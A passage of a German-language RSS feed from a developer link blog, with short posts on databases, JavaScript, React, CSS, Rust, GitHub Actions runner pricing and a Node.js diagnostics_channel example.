  console.log(&apos;Operation blocked:&apos;, err.message);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>til</category><category>db</category><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/22/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/22/1.html</guid><pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.nan.fyi/database&quot;&gt;Build Your Own Database&lt;/a&gt;. Am Ende steht ein LSM-Tree!&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/25/0.html</guid><pubDate>Sat, 25 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mcyoung.xyz/2025/10/21/ssa-1/&quot;&gt;Why SSA&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><category>language-design</category><category>ssa</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/30/0.html</guid><pubDate>Thu, 30 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL: &lt;a href=&quot;https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetObjectTorrent.html&quot;&gt;S3 kann Torrents&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><category>s3</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/04/0.html</guid><pubDate>Tue, 04 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://notpeerreviewed.com/blog/bloom-filters/&quot;&gt;Bloom filters are good for search that does not scale&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/04/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/04/1.html</guid><pubDate>Tue, 04 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hatte es glaub ich schon ein paar Mal hier, dass man mit Postgres eine simple Task-Queue machen kann. Oder, dass man mit unlogged Tables einen einfachen Cache bauen kann. Das will man ggf., wenn man die Infrastruktur schmal halten will. Irgendwann braucht man dann oft natürlich doch eine &quot;richtige&quot; Lösung. Bis dahin, hier noch ein Post aus der Richtung:
&lt;a href=&quot;https://topicpartition.io/blog/postgres-pubsub-queue-benchmarks&quot;&gt;Kafka is fast -- I&apos;ll use Postgres&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/04/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/04/2.html</guid><pubDate>Tue, 04 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://abuseofnotation.github.io/category-theory-illustrated/11_natural_transformations/&quot;&gt;Kategorientheorie Illustriert&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>mathematik</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/04/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/04/3.html</guid><pubDate>Tue, 04 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kennt Ihr &lt;a href=&quot;https://everyuuid.com&quot;&gt;Every UUIDv4&lt;/a&gt;? Es gibt jetzt auch &lt;a href=&quot;https://infohash.lol&quot;&gt;EveryInfohash&lt;/a&gt; (also Torrent) und &lt;a href=&quot;https://keys.lol&quot;&gt;every Bitcoin/Ethereum Key&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/04/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/04/4.html</guid><pubDate>Tue, 04 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://aaronson.org/blog/square-theory&quot;&gt;Square Theory&lt;/a&gt; - eine Analyse von Wortpaaren in Kreuzworträtseln.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>linguistik</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/05/0.html</guid><pubDate>Wed, 05 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kennt Ihr &lt;code&gt;84600&lt;/code&gt;? Und &lt;code&gt;86400&lt;/code&gt;? Eines davon ist die Anzahl an Sekunden pro Tag (&lt;code&gt;60*60*24&lt;/code&gt;). Das andere ist ein häufiger Zahlendreher.
Falls Ihr &lt;a href=&quot;https://github.com/search?q=%2284600%22&amp;amp;type=code&quot;&gt;die falsche Zahl&lt;/a&gt; irgendwo &lt;a href=&quot;https://grep.app/search?q=84600&quot;&gt;mal seht&lt;/a&gt;, könnt Ihr sie ja ggf. korrigieren.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>fun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/05/1.html</guid><pubDate>Wed, 05 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt eine neue &lt;a href=&quot;https://bsky.app/profile/did:plc:hxmev3uady7j4litwnr5fzbg/post/3m4uqq6kplc24&quot;&gt;Navigation API&lt;/a&gt;, mit denen man Client-Side linking machen kann. Als Alternative zur History API.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/06/0.html</guid><pubDate>Thu, 06 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://eidel.io/how-to-found-a-company-in-germany-14-easy-steps-and-lots-of-pain/&quot;&gt;How To Found a Company In Germany: 14 &quot;Easy&quot; Steps And Lots Of Pain&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/07/0.html</guid><pubDate>Fri, 07 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich hab ja schonmal einen &lt;a href=&quot;/2025/06/01/1.html&quot;&gt;Guide für Dokumentationen&lt;/a&gt; verlinkt. Hier ist auch noch eine eher praktischere Ergänzung: &lt;a href=&quot;https://newsletter.posthog.com/p/what-nobody-tells-developers-about&quot;&gt;What nobody tells developers about documentation&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><category>dx</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/09/0.html</guid><pubDate>Sun, 09 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eli Bendersky über &lt;a href=&quot;https://eli.thegreenplace.net/2025/consistent-hashing/&quot;&gt;Consistent hashing&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/11/0.html</guid><pubDate>Tue, 11 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine Einführung in &lt;a href=&quot;https://en.wikipedia.org/wiki/Skip_list&quot;&gt;Skip lists&lt;/a&gt;: &lt;a href=&quot;https://buttondown.com/jaffray/archive/fine-ill-play-with-skiplists/&quot;&gt;Fine! I&apos;ll Play With Skiplists&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/11/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/11/1.html</guid><pubDate>Tue, 11 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/announcing-dotnet-10/&quot;&gt;.NET 10&lt;/a&gt;, &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/csharp/whats-new/csharp-14&quot;&gt;C# 14&lt;/a&gt; und &lt;a href=&quot;https://devblogs.microsoft.com/visualstudio/visual-studio-2026-is-here-faster-smarter-and-a-hit-with-early-adopters/&quot;&gt;Visual Studio 2026&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><category>csharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/11/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/11/2.html</guid><pubDate>Tue, 11 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/145&quot;&gt;Firefox 145&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/13/0.html</guid><pubDate>Thu, 13 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://gabrielpichot.fr/blog/why-you-need-a-custom-context-provider/&quot;&gt;Why you need a custom context provider&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/14/0.html</guid><pubDate>Fri, 14 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://cekrem.github.io/posts/react-reconciliation-deep-dive/&quot;&gt;React Reconciliation: The Hidden Engine Behind Your Components&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/14/1.html</guid><pubDate>Fri, 14 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/tc39/proposal-joint-iteration&quot;&gt;JavaScript bekommt ein &lt;code&gt;.zip()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/15/0.html</guid><pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.polarsignals.com/blog/posts/2025/11/04/javascript-source-maps-internals&quot;&gt;The Inner Workings of JavaScript Source Maps&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dx</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/15/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/15/1.html</guid><pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://adventures.nodeland.dev/archive/noop-functions-vs-optional-chaining-a-performance/&quot;&gt;Noop Functions vs Optional Chaining: A Performance Deep Dive&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/15/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/15/2.html</guid><pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://purplesyringa.moe/blog/jvm-exceptions-are-weird-a-decompiler-perspective/&quot;&gt;JVM exceptions are weird: a decompiler perspective&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><category>language-design</category><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/17/0.html</guid><pubDate>Mon, 17 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nodejs.org/en/learn/getting-started/userland-migrations&quot;&gt;Node.js hat jetzt Codemods&lt;/a&gt;, um userland-code zu migrieren, damit man einfacher auf eine neue Node-Verison migrieren kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/18/0.html</guid><pubDate>Tue, 18 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://hwisnu.bearblog.dev/giving-c-a-superpower-custom-header-file-safe_ch/&quot;&gt;Giving C a Superpower: custom header file (&lt;code&gt;safe_c.h&lt;/code&gt;)&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/18/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/18/1.html</guid><pubDate>Tue, 18 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL &lt;a href=&quot;https://www.sqlite.org/c3ref/c_dbconfig_defensive.html#sqlitedbconfigdefensive&quot;&gt;&lt;code&gt;SQLITE_DBCONFIG_DEFENSIVE&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><category>sqlite</category><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/20/0.html</guid><pubDate>Thu, 20 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Modern Web Weekly hat einen tollen Beitrag zum &lt;a href=&quot;https://modernwebweekly.substack.com/p/modern-web-weekly-63&quot;&gt;neuen &lt;code&gt;interestfor&lt;/code&gt;-Attribut&lt;/a&gt;. Erklären auch nochmal &lt;code&gt;command&lt;/code&gt;/&lt;code&gt;comandfor&lt;/code&gt; sowie &lt;code&gt;popovertarget&lt;/code&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/23/0.html</guid><pubDate>Sun, 23 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;CSS hat in Chrome-Browsern eine neue Property: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/corner-shape&quot;&gt;&lt;code&gt;corner-shape&lt;/code&gt;&lt;/a&gt;. &lt;a href=&quot;https://css-tricks.com/what-can-we-actually-do-with-corner-shape/&quot;&gt;Damit kann man ne Menge machen&lt;/a&gt;, u. A. Squircles.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/25/0.html</guid><pubDate>Tue, 25 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://badux.lol&quot;&gt;Bad UX Worldcup&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>fun</category><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/11/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/11/27/0.html</guid><pubDate>Thu, 27 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Idempotency-Key&quot;&gt;Idempotency-Key header&lt;/a&gt; (&lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-httpapi-idempotency-key-header/&quot;&gt;spec&lt;/a&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>http</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/02/0.html</guid><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Matt Godbolt macht einen &lt;a href=&quot;https://xania.org/202511/advent-of-compiler-optimisation&quot;&gt;Adentskalender über Compileroptimierungen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PL2HVqYf7If8cY4wLk7JUQ2f0JXY_xMQm2&quot;&gt;Hier&lt;/a&gt; ist die ganze Playlist über alle Tage.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/02/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/02/1.html</guid><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wo wir gerade bei Adventskalendern waren: &lt;a href=&quot;https://sadservers.com/advent&quot;&gt;Advent of Sysadmin 2025&lt;/a&gt; ist ein Kalender, bei dem man 12 Tage lang ein aar Sysadmin-Probleme lösen muss.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/02/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/02/2.html</guid><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/progress-on-typescript-7-december-2025/&quot;&gt;Progress on TypeScript 7 – December 2025&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/03/0.html</guid><pubDate>Wed, 03 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hier noch ein paar weitere Adventskalender:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cssadventcalendar.dev&quot;&gt;CSS Advent Calendar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.htmhell.dev/adventcalendar&quot;&gt;HTMHell Advent Calendar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://adventjs.dev&quot;&gt;AdventJS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://calendar.perfplanet.com/2025/&quot;&gt;Web Performance Calendar&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>fun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/03/1.html</guid><pubDate>Wed, 03 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://voidzero.dev/posts/announcing-vite-8-beta&quot;&gt;Vite 8 Beta&lt;/a&gt;. Die erste stabile Version mit &lt;a href=&quot;https://rolldown.rs&quot;&gt;Rolldown&lt;/a&gt; statt esbuild und rollup.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/03/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/03/2.html</guid><pubDate>Wed, 03 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://purplesyringa.moe/blog/a-look-at-rust-from-2012&quot;&gt;A look at Rust from 2012&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/03/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/03/3.html</guid><pubDate>Wed, 03 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.logrocket.com/react-19-2-the-async-shift&quot;&gt;React 19.2: The async shift is finally here&lt;/a&gt;. Der Blogpost zeigt das erste mal, wie man &lt;code&gt;use()&lt;/code&gt; mit einem Promise richtig benutzt. Wenn man danach sucht, sieht man häufig einfach nur ein &lt;code&gt;use(fetch())&lt;/code&gt;. Das ist aber leider kaputt. Das Promise, das man &lt;code&gt;use&lt;/code&gt; gibt, muss render-stabil sein. Heißt, es sollte beim erneuten Render der Komponente gleich bleiben. Bei &lt;code&gt;use(fetch())&lt;/code&gt; wird bei jedem Render ein neues Promise erzeugt, was in einer Re-Render-Kaskade endet. Das ist ein Fehler, der ggf. gar nicht auffällt. Besonders, wenn man react-compiler einsetzt.&lt;/p&gt;
&lt;p&gt;Ich hab schon länger nach einer sehr dünnen Library gesucht, die &lt;code&gt;react-query&lt;/code&gt;/&lt;code&gt;swr&lt;/code&gt; macht, aber basierend auf &lt;code&gt;Suspense&lt;/code&gt; und &lt;code&gt;use&lt;/code&gt;. Das scheint es noch nicht zu geben - ehrlich gesagt gibt es da auch nicht so viel zu machen. Sowohl react-query als auch swr supporten Suspense für Daten. Die benutzen aber unter der Haube kein &lt;code&gt;use()&lt;/code&gt;, sondern irgendwas anderes, weil die auch mit React &amp;lt; 19 funktionieren. Könnte also mehr Overhead haben.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.epicreact.dev/use-react-view-transition-to-smoothly-transition-images-and-titles-lu6ks&quot;&gt;Hier noch was zur neuen &lt;code&gt;&amp;lt;ViewTransition&amp;gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/05/0.html</guid><pubDate>Fri, 05 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;GitHub hat jetzt einen neuen Runner in der Preview: &lt;a href=&quot;https://github.blog/changelog/2025-10-28-1-vcpu-linux-runner-now-available-in-github-actions-in-public-preview/&quot;&gt;&lt;code&gt;ubuntu-slim&lt;/code&gt;&lt;/a&gt;. Hat nur 1 vCPU und &quot;nur&quot; 4GB RAM. Läuft nicht in einer VM, wie alle anderen Runner, sondern in einem Container.&lt;/p&gt;
&lt;p&gt;Kostet aktuell 0.002$, &lt;code&gt;ubuntu-latest&lt;/code&gt; &lt;a href=&quot;https://docs.github.com/en/billing/reference/actions-runner-pricing&quot;&gt;ist bei 0.008$&lt;/a&gt;; also 1/4 der Kosten.&lt;/p&gt;
&lt;p&gt;Gedacht ist der Runner für Automatisierungs-Tasks, für die ein &quot;fetter&quot; Standard-Runner zu overkill ist. GitHub rechnet ja pro angefangener Minute ab, also gehen für solche Automatisierungen mindestens 0.8 Cent pro Ausführung weg. Wenn man etwas beim Push laufen hat, am besten noch in einer Testmatrix, liegt man da schon bei ein paar Cent pro Push. In letzter Zeit wurde das bei mir so viel, dass ich sogar mein Spending-Limit erhöhen musste.&lt;/p&gt;
&lt;p&gt;Jetzt hab ich fast alle Jobs auf &lt;code&gt;ubuntu-slim&lt;/code&gt; umgestellt. Zumindest da, wo es geht. Da der Runner selbst in Docker läuft und sie den Docker-Socket nicht in den Container exposen, kann man da drin keine Images bauen (vielleicht mit Podman, hab ich noch nicht probiert). Bei Rust-Projekten könnte es auch schwierig werden, weil die Laufzeit des Slim-Runners auf 15 Minuten begrenzt ist. Das sehe ich als Feature, weil ein Task grundsätzlich nicht so lange dauern sollte (es sei denn, man benutzt einen Compiler, der halt ewig braucht; Rust). Und wenn der Runner mal wieder buggt und in irgendeinem Loop festhängt, kostet einem das nicht mehrere Stunden, die es braucht, bis der Runner timeoutet.&lt;/p&gt;
&lt;p&gt;Gute Sache. Sie hätten das viel früher zusätzlich anbieten sollen. Es gibt Leute, die updaten alle 30 Minuten ihr README im Profil, wofür GitHub jedes mal eine VM mit 4 Kernen und 16 GB RAM hochfährt. Das ist einfach komplett unsinnig. Das README so oft zu updaten ist natürlich immer noch unsinnig, aber immerhin kann man dabei jetzt ein bisschen weniger Ressourcen verbrauchen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/05/1.html</guid><pubDate>Fri, 05 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://corrode.dev/blog/defensive-programming/&quot;&gt;Patterns for Defensive Programming in Rust&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/10/0.html</guid><pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://chrome.dev/css-wrapped-2025/&quot;&gt;CSS Wrapped 2025 von Chrome&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/10/1.html</guid><pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die 144 beta von Chrome &lt;a href=&quot;https://developer.chrome.com/blog/chrome-144-beta&quot;&gt;hat jetzt &lt;code&gt;Temporal&lt;/code&gt;&lt;/a&gt;. Damit wird es auch bald in Node.js drin sein.&lt;/p&gt;
&lt;p&gt;Der Changelog ist auch so ganz spannend:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;geolocation&amp;gt;&lt;/code&gt;-Element, mit dem man deklarativ die Location des Nutzers abfragen kann.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@scroll-state&lt;/code&gt;: Elemente in einem Container basierend auf der letzten Scrollrichtung stylen&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/15/0.html</guid><pubDate>Mon, 15 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.volatileint.dev/posts/auto-type-deduction-gauntlet/&quot;&gt;Can You Survive the C++ Auto Type Deduction Gauntlet&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/17/0.html</guid><pubDate>Wed, 17 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.alexbeals.com/posts/custom-yellow-handshake-emojis-with-zero-width-joiners&quot;&gt;Creating custom yellow handshake emojis with zero-width joiners&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/17/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/17/1.html</guid><pubDate>Wed, 17 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Astral, die Leute hinter dem bombastischen Python-Tooling &lt;a href=&quot;https://github.com/astral-sh/uv&quot;&gt;uv&lt;/a&gt;, haben was gebaut:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://astral.sh/blog/ty&quot;&gt;ty&lt;/a&gt;. Ein LSP-Server und Typechecker für Python. Also ein Ersatz für mypy, pylance und pyright. Aktuell ist es noch in der Beta, aber wenn die das bauen, wird das sicherlich sehr gut werden.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://astral.sh/pyx&quot;&gt;An einer registry&lt;/a&gt; bauen sie auch noch.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>python</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/18/0.html</guid><pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Node.js hat einen internen Eventbus: &lt;a href=&quot;https://kashw1n.com/blog/nodejs-2025/&quot;&gt;&lt;code&gt;node:diagnostics_channel&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import diagnostics_channel from &apos;node:diagnostics_channel&apos;;

// Create custom diagnostic channels
const dbChannel = diagnostics_channel.channel(&apos;app:database&apos;);
const httpChannel = diagnostics_channel.channel(&apos;app:http&apos;);

// Subscribe to diagnostic events
dbChannel.subscribe((message) =&amp;gt; {
  console.log(&apos;Database operation:&apos;, {
    operation: message.operation,
    duration: message.duration,
    query: message.query
  });
});

// Publish diagnostic information
async function queryDatabase(sql, params) {
  const start = performance.now();

  try {
    const result = await db.query(sql, params);

    dbChannel.publish({
      operation: &apos;query&apos;,
      sql,
      params,
      duration: performance.now() - start,
      success: true
    });

    return result;
  } catch (error) {
    dbChannel.publish({
      operation: &apos;query&apos;,
      sql,
      params,
      duration: performance.now() - start,
      success: false,
      error: error.message
    });
    throw error;
  }
}
&lt;/code&gt;&lt;/pre&gt;
